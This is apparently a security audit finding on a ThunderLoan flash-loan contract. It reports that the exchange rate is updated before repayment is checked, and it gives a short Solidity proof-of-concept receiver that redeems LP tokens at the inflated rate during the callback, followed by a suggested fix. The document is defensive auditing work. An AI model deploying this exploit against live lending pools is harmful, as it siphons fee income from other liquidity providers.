VULNERABILITY-04 — Exchange Rate Updated Before Flash Loan Repayment is Confirmed
Severity: Medium
File: src/protocol/ThunderLoan.sol
Summary
flashloan() calls assetToken.updateExchangeRate(fee) before the borrower's executeOperation runs and before repayment is verified. An attacker who is also an existing LP can redeem at the inflated exchange rate during the flash loan callback, extracting excess underlying.
Vulnerability Details
function flashloan(...) external {
...
uint256 fee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(fee);
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(...);
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(...);
}
s_currentlyFlashLoaning[token] = false;
}
Inside executeOperation, a flash loan receiver who also holds AssetTokens can call redeem() and receive underlying calculated at the inflated exchange rate. They then repay the flash loan normally. The result: they extracted the fee value from other LPs by front-running the exchange rate update.
PoC
function executeOperation(
address _token, uint256 amount, uint256 fee, address, bytes calldata
) external returns (bool) {
uint256 myAssets = assetToken.balanceOf(address(this));
if (myAssets > 0) {
thunderLoan.redeem(IERC20(_token), myAssets);
}
IERC20(_token).approve(address(thunderLoan), amount + fee);
thunderLoan.repay(IERC20(_token), amount + fee);
return true;
}
Impact
Medium — An LP who is also a flash loan receiver extracts the fee profit before other LPs benefit.
The fee income is effectively stolen from the LP pool on each such call.
Individual impact is small per transaction but compounds over time.
Tools Used
Recommendations
Move updateExchangeRate() to after repayment is confirmed:
function flashloan(...) external {
...
- uint256 fee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(fee);
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(...);
uint256 endingBalance = token.balanceOf(address(assetToken));
+ uint256 fee = getCalculatedFee(token, amount);
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
+ assetToken.updateExchangeRate(fee); // Update AFTER confirming repayment
s_currentlyFlashLoaning[token] = false;
}